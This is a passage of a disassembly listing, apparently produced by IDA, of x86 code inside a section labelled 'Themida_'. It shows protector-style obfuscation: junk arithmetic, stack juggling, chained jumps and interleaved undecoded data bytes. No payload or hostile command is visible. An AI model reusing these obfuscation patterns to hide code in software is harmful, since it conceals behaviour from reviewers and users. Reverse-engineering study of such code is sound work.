		add	edx, esi
		sub	edx, 9D842DCh
		push	ebx
		mov	ebx, 65500C0Fh
		add	edx, ebx
		jmp	loc_554A04
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0C3h
		dd 0E064C40Dh, 37E9DF01h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55563F:				; CODE XREF: Themida_:005628C4j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A900499h
		shl	edx, 2
		not	edx
		push	25Dh
		mov	[esp], ebx
		mov	ebx, 70A260CEh
		not	ebx
		push	esi
		mov	esi, 56515DABh
		jmp	loc_55A184
; ---------------------------------------------------------------------------


loc_555672:				; CODE XREF: Themida_:00556C20j
		xor	ebp, eax
		pop	eax
		sub	ebp, 2EA037Fh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_558DDD
; ---------------------------------------------------------------------------


loc_55568B:				; CODE XREF: Themida_:005520EFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esi, ebx
		pop	ebx
		jmp	loc_553A1E
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 0BA611004h, 24742908h, 10685504h, 5D08BA61h,	8246C01h
		dd 17BE9h, 50C28100h, 1466530h,	50EA81F2h, 81466530h, 0D81AD1C2h
		dd 24348B0Bh, 5904C483h, 5E08950h, 4, 42Dh, 24048700h
		dd 0CBB5E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556EE:				; CODE XREF: Themida_:005619DDj
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		not	eax
		push	eax
		neg	dword ptr [esp]
		pop	eax
		not	eax
		xor	eax, 5C4C4538h
		sub	eax, 2D3AAF8Fh
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, esi
		sub	ebp, 581F4A16h
		jmp	loc_5541BB
; ---------------------------------------------------------------------------


loc_555725:				; CODE XREF: Themida_:00565758j
		push	97Bh
		mov	[esp], eax
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, esi
		pop	esi
		jmp	loc_559E92
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5C241C87h, 0EB468h, 29F8E900h, 0D1F70000h, 0FFD5A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555755:				; CODE XREF: Themida_:005605C9j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5619F2
; ---------------------------------------------------------------------------


loc_555772:				; CODE XREF: Themida_:0055FE1Ej
		and	ecx, eax
		jmp	loc_55B08A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C7h, 4C78100h, 57000000h, 42474FFh, 0C2C8E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555796:				; CODE XREF: Themida_:00561BC1j
		pop	dword ptr [esp]
		jmp	loc_5536DB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2434FF04h, 0E92434FFh, 54FCh, 1B5EBE56h, 0BEE935C7h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5557B7:				; CODE XREF: Themida_:005653DAj
		add	ebx, 7C242599h
		inc	ebx
		jmp	loc_55107A
; ---------------------------------------------------------------------------
		db 28h
		dd 0CF085AD1h, 592434FFh, 4C481h, 51660000h, 0FFC52FE9h
		dd 81E289FFh, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0CD0h
		dd 0C3315B5Ah, 1167E9h
		db 0
; ---------------------------------------------------------------------------


loc_5557F9:				; CODE XREF: Themida_:0055E939j
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		jmp	loc_55E20C
; ---------------------------------------------------------------------------
		db 81h
		dd 8A6778C3h, 8BDD29A2h, 0BE9241Ch, 500000DBh, 0D4F609B4h
		dd 8006ECC0h, 52E99FF4h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555827:				; CODE XREF: Themida_:0055B472j
		neg	ebp
		jmp	loc_55AA55
; ---------------------------------------------------------------------------


loc_55582E:				; CODE XREF: Themida_:0055A0A5j
		pop	esp
		mov	[esp], edi
		push	eax
		jmp	loc_5624B6
; ---------------------------------------------------------------------------
		dd 2434FF5Dh, 0D3FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_555841:				; CODE XREF: Themida_:00557437j
		not	eax
		jmp	loc_556586
; ---------------------------------------------------------------------------


loc_555848:				; CODE XREF: Themida_:0055A370j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6DEA0329h
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6F784856h
		push	ebp
		sub	dword ptr [esp], 29D91FC0h
		pop	edi
		add	edi, 29D91FC0h
		jmp	loc_55AE6F
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 5C240C87h, 0FF2434FFh, 76E92434h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55589B:				; CODE XREF: Themida_:005532D9j
		mov	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 7C4007A3h
		not	edx
		dec	edx
		jmp	loc_55E84B
; ---------------------------------------------------------------------------


loc_5558AC:				; CODE XREF: Themida_:00560A46j
		push	ebx
		mov	ebx, 15906685h
		add	ebx, 2F6249EDh
		xor	ebx, 43DBB6ADh
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 7CF05D42h
		shl	edx, 6
		xor	edx, 5F715003h
		jmp	loc_565965
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0FDh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5558DB:				; CODE XREF: Themida_:00562C18j
		mov	eax, 2Ch
		push	eax
		push	esi
		mov	esi, 667A31F0h
		add	[esp+4], esi
		jmp	loc_5542EA
; ---------------------------------------------------------------------------
		dd 1483685Dh, 1C890000h, 37ECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5558FE:				; CODE XREF: Themida_:00557E3Dj
		pop	edx
		sub	ebx, 362F1517h
		add	ebx, edi
		push	edx
		jmp	loc_554E79
; ---------------------------------------------------------------------------


loc_55590D:				; CODE XREF: Themida_:00561871j
		sub	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		jmp	loc_562E19
; ---------------------------------------------------------------------------
		db 68h
		dd 95Ah, 0BA241489h, 0
		dd 0E94E9h
		db 0
; ---------------------------------------------------------------------------


loc_555939:				; CODE XREF: Themida_:00563B1Dj
		test	cl, al
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
aRitusS		db 'R┴БUИ|≥',0
		align 2
		dw 42Dh
		dd 87000000h, 895C2404h, 0B2E9241Ch, 8BFFFFDDh,	2C68242Ch
		dd 89000060h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
		dd 0FFC1315Ch, 57E92434h, 810000BFh, 88020AEEh,	2434FF35h
		dd 4C48159h, 33000000h,	34312434h, 24343324h, 0CFF665Ch
		dd 0CE99C24h, 55FFFFB0h, 0C684E9h, 0E9585B00h, 3E3Ch
; ---------------------------------------------------------------------------


loc_5559B0:				; CODE XREF: Themida_:00559FB6j
		sub	edx, 4EF3201Dh
		mov	ecx, [esp]
		jmp	loc_55A754
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4ECh, 24048900h, 815E9h
		db 0
; ---------------------------------------------------------------------------


loc_5559CD:				; CODE XREF: Themida_:0056311Ej
		sub	edi, 325A0A39h
		xor	edi, 25BE1D0Ch
		jmp	loc_554AE9
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4EC8124h, 89000000h,	88E9240Ch
		db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559EF:				; CODE XREF: Themida_:0055F83Fj
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_564CAC
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 0E9h
		dd 0FFFFC22Bh, 5BC06855h, 815D5F92h, 925BBCEDh,	5DEB895Fh
		dd 1568C781h, 58E91A6Eh
		db 50h,	2 dup(0)
byte_555A1F	db 0FFh			; DATA XREF: Themida_:0055089Co
		dd 34FF2434h, 0DC3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555A2A:				; CODE XREF: Themida_:00563A80j
		pop	eax
		pop	ecx
		sub	ecx, edi
		pop	edi
		jmp	loc_554861
; ---------------------------------------------------------------------------


loc_555A34:				; CODE XREF: Themida_:00560F1Cj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFAF6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555A45:				; CODE XREF: Themida_:005598D8j
		push	dword ptr [ebx]
		sub	esp, 4
		jmp	loc_558092
; ---------------------------------------------------------------------------


loc_555A4F:				; CODE XREF: Themida_:0055F172j
		push	eax
		mov	eax, 0
		sub	eax, 56AE3B18h
		add	eax, ebx
		add	eax, 56AE3B18h
		add	dword ptr [eax], 1
		jmp	loc_557752
; ---------------------------------------------------------------------------


loc_555A6C:				; CODE XREF: Themida_:00554CF2j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5545FA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 1BF568h, 24248900h, 4240481h, 0FF000000h, 348B2434h
		dd 0E7895724h, 4C781h, 0D0E90000h, 8B00004Bh, 0C4832404h
		dd 23C46804h, 2C890000h, 29E95124h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555AAF:				; CODE XREF: Themida_:0055FC27j
		push	3814h
		mov	[esp], eax
		jmp	loc_5620B2
; ---------------------------------------------------------------------------
		dd 133D8905h, 55D8013Eh, 0B7B1E9h, 2D966800h, 24890000h
		dd 24048324h, 24048F04h, 4B850h, 6C810000h, 4AE30424h
		dd 44011053h, 0E9510424h, 0BC46h, 861D7DBAh, 0EAC14A69h
		dd 5DF28102h, 81143071h, 1383EFEAh, 19AE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B0A:				; CODE XREF: Themida_:0055F0DAj
		inc	edi
		dec	edi
		shl	edi, 5
		xor	edi, 0E77791Ch
		add	edi, 5C9F97E9h
		mov	esi, edi
		pop	edi
		add	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		jmp	loc_561C15
; ---------------------------------------------------------------------------


loc_555B29:				; CODE XREF: Themida_:00563898j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 4
		sub	ebp, 41C1Eh
		add	ebp, ebx
		add	ebp, 41C1Eh
		pop	ebx
		push	esi
		push	ebp
		jmp	loc_557B9C
; ---------------------------------------------------------------------------


loc_555B57:				; CODE XREF: Themida_:0055EB1Bj
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55802F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 451213FCh, 4EBBB850h, 0C1210914h, 81414158h,	27BF1E9h
		dd 0B4C38162h, 14E5549h, 0B4EB81CBh, 594E5549h,	1C8BDE01h
		dd 4C48124h, 83000000h,	343304C6h, 0F986E924h, 8758FFFFh
		dd 248B2414h, 24048F24h, 5524248Bh, 0E904EC83h,	0FFFFAFD3h
		dd 0F1865866h, 741968h,	24148900h, 0EA8000B2h, 0D399E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555BCE:				; CODE XREF: Themida_:00557AD7j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, ecx
		add	[eax], esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_558B40
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C3h, 24248B24h, 51C8AF0Fh, 0ADADE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555C02:				; CODE XREF: Themida_:005611EEj
		mov	[esp], esi
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_55FD8B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 7DBE5653h, 0C10AE918h, 0D4E903E6h, 83000068h, 5F042404h
		dd 3A76E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C32:				; CODE XREF: Themida_:005566C1j
		neg	eax
		add	eax, 52300B68h
		add	ebx, 67EB1305h
		add	ebx, eax
		jmp	loc_56591B
; ---------------------------------------------------------------------------
aN1Sc		db '╜1ьИФт',0           ; DATA XREF: Themida_:00550814o
		align 2
aSS_4		db '\И(s',0
		align 4
		dd 0A348780Dh, 6D410D59h, 0E0D15CA9h, 0F6DEF635h, 75BE9FFh
		dd 14870000h, 24248B24h, 0E9240489h, 0B2A9h, 0D4BE5653h
		dd 51604E49h, 0BA7FE957h, 505C0000h, 1356FB8h, 8E0C14Dh
		dd 85F1E9h, 0B8505700h,	0F61DE049h, 0E958C789h,	0ED34h
		dd 815AD589h, 0D1AE28C5h, 5DEE297Fh, 34FFF529h,	2434FF24h
		dd 4C4815Eh, 83000000h,	0FF5504C4h, 5D042474h, 5C24048Fh
		dd 54241489h, 3091E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555CD6:				; CODE XREF: Themida_:00552120j
		mov	edx, 7E55476Fh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shl	ecx, 1
		dec	ecx
		xor	ecx, 225C7EC7h
		sub	edx, 135E00A1h
		add	edx, ecx
		add	edx, 135E00A1h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_565A5E
; ---------------------------------------------------------------------------
		dd 2C481h, 0D6F60000h, 72E9C6FEh, 5FFFFFEEh, 6F5D4405h
		dd 0E9F00137h, 90C8h, 5DD1685Ch, 4890000h, 762FE924h, 8B540000h
		dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 4C1815Ch
		dd 68000000h, 732h, 57242C89h, 0A807A0BFh, 73BB5357h, 814B1377h
		dd 0F92CFCEBh, 5BDF294Ah, 0C232E9h
		db 0
; ---------------------------------------------------------------------------


loc_555D71:				; CODE XREF: Themida_:00561C38j
		pop	dword ptr [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
dword_555D80	dd 184068h, 243C8900h, 0BD13E9h, 5DE80100h, 730BB905h
					; DATA XREF: Themida_:00550794o
		dd 24148B39h, 5E08950h,	4, 8704C083h, 0E95C2404h, 0F581h
dword_555DAC	dd 683C77FFh, 4792h, 0E9243C89h, 1A99h,	0E281D2F7h, 542D60A5h
					; DATA XREF: Themida_:0055073Co
		dd 294BEA81h, 0D101D681h, 829CE9h
		db 0
; ---------------------------------------------------------------------------


loc_555DD1:				; CODE XREF: Themida_:005535B7j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_557BDB
; ---------------------------------------------------------------------------


loc_555DDA:				; CODE XREF: Themida_:005561A1j
		xor	edx, 976A6B16h
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_558318
; ---------------------------------------------------------------------------
		dw 5056h
		dd 405E089h, 2D000000h,	4, 5C240487h, 0E9242489h, 0FF9h
; ---------------------------------------------------------------------------


loc_555E04:				; CODE XREF: Themida_:00556390j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_550C13
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0FFC99EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555E21:				; CODE XREF: Themida_:0055BF9Bj
		push	eax
		mov	eax, 0D383965h
		shl	eax, 3
		sub	eax, 0BDD0181Ch
		jmp	loc_55FEA1
; ---------------------------------------------------------------------------
		dd 6EE9FD88h, 5FFFFFFBh, 555F5457h, 4BDh, 5DEF0100h, 8704EF83h
		dd 895C243Ch, 0B5E92404h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555E57:				; CODE XREF: Themida_:0055BE0Fj
		add	esp, 4
		jmp	loc_55DA7D
; ---------------------------------------------------------------------------
byte_555E5F	db 66h			; DATA XREF: Themida_:00550924o
		dd 8124048Bh, 4ECh, 241C8900h, 3FADE9h,	57595400h, 90D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E79:				; CODE XREF: Themida_:005591EAj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_555E86:				; CODE XREF: Themida_:005510A7j
		push	2972h
		mov	[esp], edi
		push	ebx
		pop	edi
		mov	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	31D9h
		mov	[esp], eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		jmp	loc_550C71
; ---------------------------------------------------------------------------
aCHW		db 'аФ',7,'hаw',0
		align 2
		dw 1489h
		dd 0C6BD5524h, 81388C0Ch, 4ECh,	0BD9CE900h, 0F301FFFFh
		dd 0C9EC381h, 875E07FBh, 248B241Ch, 24048F24h, 66F1F65Ch
		dd 0E9CCB60Fh, 0CBD7h, 8137B753h, 4ECh,	24048900h, 0E70838B4h
		dd 5C9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_555F11:				; CODE XREF: Themida_:005526FBj
		add	ebp, 4
		push	ecx
		jmp	loc_55D299
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0BA52E689h, 4, 38D7C681h, 0D60128E9h, 38D7EE81h, 0E95A28E9h
		dd 0FFFFB013h, 4EF81h, 3C870000h, 24248B24h, 0E9241489h
		dd 0FFFFAAEFh, 0B1E9E189h, 5A000059h, 4EC81h, 3EE90000h
		dd 83FFFFDCh, 0C78104C4h, 4, 0D2B0E9h
		db 0
byte_555F71	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550778o
		dd 0E7895724h, 4C781h, 0BA520000h, 4, 148BD729h, 5E545624h
		dd 6E7E9h, 0AA19E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F96:				; CODE XREF: Themida_:0055E737j
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esi
		mov	esi, 24h
		jmp	loc_557B51
; ---------------------------------------------------------------------------
		dw 1431h
aSb		db '$И║ж',0
		align 2
		dw 0BE56h
		dd 4AC8080Fh, 0C15EF129h, 0D9F703E1h, 0F3B85049h, 315614F4h
		dd 12E958C1h, 81000092h, 0B639AFE6h, 33CE8130h,	460B2145h
		dd 55B4EE81h, 0CFE90B37h, 8B0000F0h, 8953240Ch,	4C381E3h
		dd 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 0BEE92404h, 0BA00009Ah
		dd 5FE71FBAh, 77E9D009h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556017:				; CODE XREF: Themida_:0055E34Aj
		push	24E35311h
		pop	ebp
		add	ebp, 0FA19092Eh
		jmp	loc_556602
; ---------------------------------------------------------------------------
dword_556028	dd 0E9028F64h, 0FFFFA97Fh ; DATA XREF: Themida_:00550788o
; ---------------------------------------------------------------------------


loc_556030:				; CODE XREF: Themida_:0055D772j
		mov	esi, ebx
		jmp	loc_558304
; ---------------------------------------------------------------------------
		db 89h
		dd 0A4B3241Ch, 0FE05EBC0h, 0ACEB80CBh, 280BB252h, 24148BD3h
		dd 5E08950h, 4,	8704C083h, 525C2404h, 80C2B151h, 0E98013E9h
		dd 5E1C0DDh, 0DEE9D1F6h, 0FF000004h, 5D042474h,	8B24048Fh
		dd 0F662424h, 9C2404BBh, 0FFA92AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556085:				; CODE XREF: Themida_:0055EBCAj
		mov	edx, 39F50762h
		push	ebp
		mov	ebp, 690822D4h
		sub	edx, ebp
		pop	ebp
		jmp	loc_560A3D
; ---------------------------------------------------------------------------
aXhI		db 'Xh|i',0
		align 2
		dw 3489h
		dd 7FFC6824h, 24890000h, 0BA94E924h, 815BFFFFh,	34CAEC2h
		dd 7966E932h, 0E6890000h, 4C681h, 0EE830000h, 24348704h
		dd 243C895Ch, 243C8B54h, 5204C483h, 0A43E3BBAh,	8B5EE96Bh
		dd 0E0C10000h, 0FFBE5606h, 1FFFFFFh, 0E9575EF0h, 7F85h
		dd 42474FFh, 0FFDCABE9h, 52C181FFh, 1250907h, 87E955D1h
		dd 0B800001Dh, 4178409Eh, 123D2548h, 5E0D0557h,	0E912960Dh
		dd 9FCBh, 0E95AF088h, 0FFFFCE8Ah, 5724148Bh, 0E38EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55612D:				; CODE XREF: Themida_:00560106j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Bh
		push	59C2h
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 0A1364D7h
		mov	ecx, 5AC6268Dh
		not	ecx
		neg	ecx
		sub	ecx, 2A903804h
		jmp	loc_55BCE0
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 36E4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55618E:				; CODE XREF: Themida_:0055E0CDj
		push	ebx
		mov	ebx, 83E068Eh
		dec	ebx
		inc	ebx
		shl	ebx, 8
		push	edx
		mov	edx, 60310894h
		neg	edx
		jmp	loc_555DDA
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFC6C0h
; ---------------------------------------------------------------------------


loc_5561AC:				; CODE XREF: Themida_:00554461j
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		push	eax
		mov	eax, 25777AF2h
		sub	ecx, eax
		pop	eax
		jmp	loc_564503
; ---------------------------------------------------------------------------
aBLeYs2_	db '│г▀e`yИ2_',0
		db 0
; ---------------------------------------------------------------------------


loc_5561D3:				; CODE XREF: Themida_:0055FC3Ej
		mov	edx, 0B08D8B0Fh
		sub	eax, 2FD0859h
		jmp	loc_5640DA
; ---------------------------------------------------------------------------
		dw 14F6h
		dd 0CFF0E924h, 0EE090000h, 3D5FE9h, 0EB895F00h,	0CCBD555Dh
		dd 0E9263532h, 0A35Dh
; ---------------------------------------------------------------------------


loc_556200:				; CODE XREF: Themida_:0055C202j
		pop	ecx
		sub	edx, 0BA38E529h
		dec	edx
		push	ebp
		mov	ebp, 5D3C230Bh
		xor	edx, ebp
		pop	ebp
		add	ecx, edx
		pop	edx
		jmp	loc_563B17
; ---------------------------------------------------------------------------


loc_556219:				; CODE XREF: Themida_:00560BB3j
		and	ch, 0B9h
		xor	ch, 55h
		push	edx
		mov	dl, ch
		mov	ah, dl
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		jmp	loc_552A29
; ---------------------------------------------------------------------------
		db 5Ah,	47h, 0C1h
		dd 814707E7h, 2BA85F7h,	0FFF82945h, 19E92434h, 570000D6h
		dd 68242C8Bh, 71Ah, 0E9240489h,	4D4h, 815FFD21h, 0E73326C5h
		dd 56E5D135h, 0D45386BEh, 0CEED81A1h, 29460A70h, 0F1BFE9F5h
		dd 0C1830000h, 240C8704h, 0F8E9535Ch
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556283:				; CODE XREF: Themida_:0055B502j
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_550B48
; ---------------------------------------------------------------------------
		db 5Bh,	50h, 0B8h
		dd 4, 43D3C581h, 0C5290AA1h, 0CBD5557h,	8161A124h, 336E74CDh
		dd 3EDC16Bh, 3461E9h, 4C48300h,	0E9240433h, 9F53h, 65C3815Ah
		dd 8B424E01h, 0C481243Ch, 4, 8B241C87h,	89662424h, 0ABE92404h
		dd 2DFFFFECh, 2B2B3839h, 5D3A055Fh, 0C101CAECh,	0E924048Bh
		dd 7AC4h, 0E9FB0166h, 0B259h
; ---------------------------------------------------------------------------


loc_5562FC:				; CODE XREF: Themida_:0055C4DCj
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 19D219Ah
		push	esi
		mov	esi, esp
		jmp	loc_56179C
; ---------------------------------------------------------------------------


loc_55630F:				; CODE XREF: Themida_:00556514j
		shl	edi, 6
		sub	edi, 9E1089BEh
		mov	ecx, edi
		pop	edi
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		jmp	loc_5529D0
; ---------------------------------------------------------------------------


loc_55632A:				; CODE XREF: Themida_:0055E846j
		pop	ecx
		jmp	loc_5512FC
; ---------------------------------------------------------------------------


loc_556330:				; CODE XREF: Themida_:00558246j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		xchg	eax, ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C891
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4EAAE581h, 0E5C133DCh, 4DED8107h, 133219Ah, 0ADE95DE8h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556367:				; CODE XREF: Themida_:0055A7ACj
		add	dword ptr [esp], 51F62C72h
		mov	ebx, [esp]
		jmp	loc_55DEAC
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 0FFEA4FE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_555E04
; ---------------------------------------------------------------------------


loc_556395:				; CODE XREF: Themida_:00561D4Bj
		not	bh
		xor	bh, 68h
		xor	bh, 18h
		or	cl, bh
		jmp	loc_55F91F
; ---------------------------------------------------------------------------


loc_5563A4:				; CODE XREF: Themida_:00563E8Ej
		add	ecx, 307D4D19h
		jmp	loc_551FBF
; ---------------------------------------------------------------------------


loc_5563AF:				; CODE XREF: Themida_:00554C83j
		sub	ebp, 65244978h
		jmp	loc_56214C
; ---------------------------------------------------------------------------


loc_5563BA:				; CODE XREF: Themida_:005605C2j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_558B2A
; ---------------------------------------------------------------------------
		db 1, 0C5h, 0E9h
		dd 0F67Fh, 241C895Ch, 0C5E4E9h,	2414F700h, 0B6E9555Bh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5563DF:				; CODE XREF: Themida_:0055C962j
		mov	edx, 16D55F13h
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		shl	edi, 1
		xchg	eax, edi
		jmp	loc_565110
; ---------------------------------------------------------------------------
aYsE		db 'YИуE',0
		dd 4EC8100h, 0E9000000h, 58AEh,	7B18E959h, 0D7290000h
		dd 313CE9h, 240C8700h, 5324248Bh, 190344BBh, 96AEE909h
		dd 0F7470000h, 2556E9D7h, 0EA810000h, 2AB6C9Ah,	0C9F68h
		dd 243C8900h, 422FB2BFh, 9EEF8159h, 525DAA0Eh, 167A09BAh
		dd 2EAC17Fh, 38E4F281h,	62E95B84h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55645B:				; CODE XREF: Themida_:00554E74j
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_556A1F
; ---------------------------------------------------------------------------
		db 89h
		dd 0D6BD55E6h, 813E7C07h, 381262C5h, 81DDF762h,	0C2137BEDh
		dd 3AC5817Ah, 81386F14h, 0DE6DE7C5h, 0E9D5F7ECh, 0B94Ah
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 2388h
; ---------------------------------------------------------------------------


loc_5564B8:				; CODE XREF: Themida_:00563C15j
		xor	[esp], ecx
		jmp	loc_55E966
; ---------------------------------------------------------------------------
		dd 5EE95052h, 33FFFFCDh, 4312404h, 6471E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564D2:				; CODE XREF: Themida_:0055DF1Aj
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55439E
; ---------------------------------------------------------------------------
		dd 0EE80DEF6h, 0A7C780DFh, 0EF80F728h, 0B6525AA7h, 1AF7E9A6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564F6:				; CODE XREF: Themida_:00554D0Dj
		add	eax, 93E32831h
		and	esi, eax
		pop	eax
		push	ebp
		push	edi
		mov	edi, 47197EF4h
		shr	edi, 3
		jmp	loc_55814E
; ---------------------------------------------------------------------------


loc_55650D:				; CODE XREF: Themida_:00563CA0j
		add	esp, 4
		dec	edi
		jmp	loc_55630F
; ---------------------------------------------------------------------------


loc_556519:				; CODE XREF: Themida_:005629A5j
		push	edi
		push	esi
		push	334Eh
		mov	[esp], edi
		push	58C43C6h
		pop	edi
		jmp	loc_55231C
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0E51Ch
; ---------------------------------------------------------------------------


loc_556534:				; CODE XREF: Themida_:005529A0j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_551730
; ---------------------------------------------------------------------------
		db 5Ch
